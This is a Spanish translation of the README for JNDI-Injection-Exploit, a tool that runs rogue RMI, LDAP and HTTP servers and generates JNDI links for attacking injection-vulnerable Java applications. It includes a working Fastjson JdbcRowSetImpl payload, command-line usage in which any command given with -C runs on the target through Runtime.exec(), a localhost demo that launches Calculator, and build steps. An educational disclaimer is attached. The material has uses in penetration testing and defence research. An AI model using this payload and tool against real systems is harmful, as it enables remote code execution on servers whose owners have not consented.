
JNDI注入测试工具(Una herramienta que genera enlaces JNDI y puede iniciar varios servidores para explotar la vulnerabilidad de inyección JNDI, como Jackson, Fastjson, etc)
Materials about JNDI Injection
JNDI-Injection-Exploit es una herramienta para generar enlaces JNDI funcionales y proporcionar servicios en segundo plano iniciando un servidor RMI, un servidor LDAP y un servidor HTTP. El servidor RMI y el servidor LDAP se basan en marshals y se modificaron adicionalmente para enlazarse con el servidor HTTP.
Usar esta herramienta le permite obtener enlaces JNDI, puede insertar estos enlaces en su POC para probar la vulnerabilidad.
Por ejemplo, este es un vul-poc de Fastjson:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}
Podemos reemplazar "rmi://127.0.0.1:1099/Object" con el enlace generado por JNDI-Injection-Exploit para probar la vulnerabilidad.
Toda la información y el código se proporcionan únicamente con fines educativos y/o para probar sus propios sistemas en busca de estas vulnerabilidades.
Ejecutar como
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
donde:
-C - comando ejecutado en el archivo de clase remoto.
(opcional, el comando predeterminado es "open /Applications/Calculator.app")
-A - la dirección de su servidor, puede ser una dirección IP o un dominio.
(opcional, la dirección predeterminada es la dirección de la primera interfaz de red)
Puntos a tener en cuenta:
asegúrese de que los puertos de su servidor (1099, 1389, 8180) estén disponibles.
o puede cambiar el puerto predeterminado en la clase run.ServerStart, líneas 26~28.
su comando se pasa a Runtime.getRuntime().exec() como parámetros, por lo que debe asegurarse de que su comando sea funcional en el método exec().
Los comandos en bash como "bash -c ...." necesitan agregar comillas dobles.
Demostración local:
Inicie la herramienta de esta manera:
$ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open /Applications/Calculator.app" -A "127.0.0.1"
Captura de pantalla:

Supongamos que inyectamos los enlaces JNDI como rmi://ADDRESS/jfxllc generados en el paso 1 a una aplicación vulnerable que puede ser atacada mediante inyección JNDI.
En este ejemplo, se ve así:
public static void main(String[] args) throws Exception{
InitialContext ctx = new InitialContext();
ctx.lookup("rmi://127.0.0.1/fgf4fp");
}
luego, cuando ejecutamos este código, el comando se ejecutará y el registro se imprimirá en la consola:

Podemos seleccionar uno de los dos métodos para obtener el jar.
Descargue el último jar desde Realease.
Clone el código fuente a local y compile (Requiere Java 1.8+ y Maven 3.x+).
$ git clone https://github.com/welk1n/JNDI-Injection-Exploit.git
$ cd JNDI-Injection-Exploit
$ mvn clean package -DskipTests